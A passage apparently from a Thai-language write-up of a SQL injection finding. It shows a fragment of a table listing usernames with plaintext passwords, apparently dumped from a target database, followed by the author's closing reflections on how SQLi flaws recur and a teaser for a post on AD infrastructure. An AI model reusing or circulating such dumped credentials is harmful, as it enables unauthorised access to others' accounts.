| 2  | asd                                   | dev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 3  | Summer2019!                           | amanda                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 4  | 345m3io4hj3                           | maja      
...

เนื่องจากธรรมชาติ ช่องโหว่เหล่านี้อาจปรากฏขึ้นทุกที่ภายในเว็บแอปพลิเคชัน แม้ว่านักพัฒนาจะจัดการกับอินพุตของผู้ใช้อย่างถูกต้องตั้งแต่แรกเห็น แต่ก็ไม่ได้หมายความว่ามาตรการต่อต้าน SQLi จะถูกนำไปใช้ทั่วทั้งแอปพลิเคชัน ในอนาคต ฉันจะลืมตาดูโลกอย่างแน่นอน และจะพยายามติดตามและทำความเข้าใจเวิร์กโฟลว์ของแอปพลิเคชัน/ฐานข้อมูลในเชิงลึก

ฉันหวังว่าคุณจะสนุกกับโพสต์นี้และบางทีนี่อาจช่วยคุณในสถานการณ์ที่คล้ายกันได้ ฉันสนุกกับการเขียนสิ่งนี้มากและฉันได้เรียนรู้สิ่งใหม่ๆ มากมายในช่วงวันเสาร์นี้ แสดงความคิดเห็น ชอบหรือติดตาม และคอยติดตามเว็บอื่นๆ และเร็วๆ นี้เกี่ยวกับหัวข้อเกี่ยวกับโครงสร้างพื้นฐานของ AD

สันติภาพ